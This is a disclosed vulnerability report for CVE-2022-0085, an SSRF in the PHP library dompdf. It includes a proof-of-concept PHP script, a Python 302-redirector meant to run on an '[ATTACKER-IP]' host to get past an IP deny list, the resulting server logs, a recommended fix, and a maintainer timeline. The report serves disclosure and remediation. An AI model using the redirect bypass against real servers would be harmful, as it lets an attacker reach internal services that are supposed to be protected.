

## Server-Side Request Forgery (SSRF) in dompdf/dompdf

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### Description

DomPDF uses `file_get_contents` to obtain HTTP files when `allow_url_fopen` is "On". On default contexts, `file_get_contents` will redirect whenever served with a 302 response. When developers use DomPDF with `isRemoteEnabled` set to "true" and `allow_url_fopen` set to "true", but restrict IP addresses via a deny list, it is possible for an attacker to pass in a URL which passes this deny list but serves a 302 redirect response to a restricted IP address. When this URL enters dompdf, `file_get_contents()` will both follow the redirection and cause an SSRF vulnerability.

### Proof of Concept - `allow_url_fopen` is turned on

poc.php

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<?php

//URL variable

$url = "http://[ATTACKER-IP]";

require_once 'dompdf/autoload.inc.php';

use Dompdf\Dompdf;
use Dompdf\Options;

$options = new Options();
$options->set('isRemoteEnabled', true);

$dompdf = new Dompdf($options);

$host = parse_url($url, PHP_URL_HOST);
$ip = gethostbyname($host);
```

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ip = gethostbyname(host);

if ($ip != "127.0.0.1") {
    $dompdf->loadHtmlFile($url);
    $dompdf->setPaper('A4', 'landscape');
    $dompdf->render();
    $dompdf->stream();
}

?>

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redirector.py - hosted on "http://[ATTACKER-IP]"

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#!/usr/bin/env python3

#python3 redirector.py 80 http://127.0.0.1:8000/

import sys
from http.server import HTTPServer, BaseHTTPRequestHandler

if len(sys.argv)-1 != 2:
    print("Usage: {} <port_number> <url>".format(sys.argv[0]))
    sys.exit()

class Redirect(BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(302)
        self.send_header('Location', sys.argv[2])
        self.end_headers()

HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()

```

Result -

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root@test:/home/test# python3 -m http.server 8000
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
127.0.0.1 - - [02/Jan/2022 05:38:20] "GET / HTTP/1.0" 200 -
127.0.0.1 - - [02/Jan/2022 05:38:31] "GET / HTTP/1.0" 200 -

```

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## Impact

On default contexts, when a developer wants to allow remote fetching in DomPDF but implements deny lists for private IP addresses, then an attacker can easily bypass the deny list by hosting a server with a 302 redirect response to an internal IP address. DomPDF will follow the redirection to the private IP address. (SSRF)

## Recommended Fix

Disable `file_get_contents` redirection in the default context, since curl already disables it by default, this can be done by easily replacing the following default context at <https://github.com/dompdf/dompdf/blob/e71dfa4b6ee733430548ebc8708e3f49909aaf8e/src/Helpers.php#L859> with

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stream_context_create(['http' => ['follow_location' => false]]);
```

### CVE

CVE-2022-0085

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### Vulnerability Type

CWE-918: Server-Side Request Forgery (SSRF)

### Severity

Low (3.7)

### Visibility

Public

### Status

Fixed

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haxatron modified the report a year ago

We have contacted a member of the **dompdf** team and are waiting to hear back a year ago

A **dompdf/dompdf** maintainer validated this vulnerability a year ago

haxatron has been awarded the disclosure bounty ✓

The fix bounty is now up for grabs

A **dompdf/dompdf** maintainer 8 months ago

Maintainer

I implemented the suggested change within the following batch of commits:  
<https://github.com/dompdf/dompdf/compare/b47cfe3...cbdf99?expand=1>

I'm also thinking of adding a section to the "Securing Dompdf" document regarding the importance of sanitizing (untrusted) user input.  
<https://github.com/dompdf/dompdf/wiki/Securing-dompdf>

haxatron 8 months ago

Researcher

lgtm!

A **dompdf/dompdf** maintainer marked this as fixed in 2.0.0 with commit **bb1ef6** 5 months ago

The fix bounty has been dropped ✗

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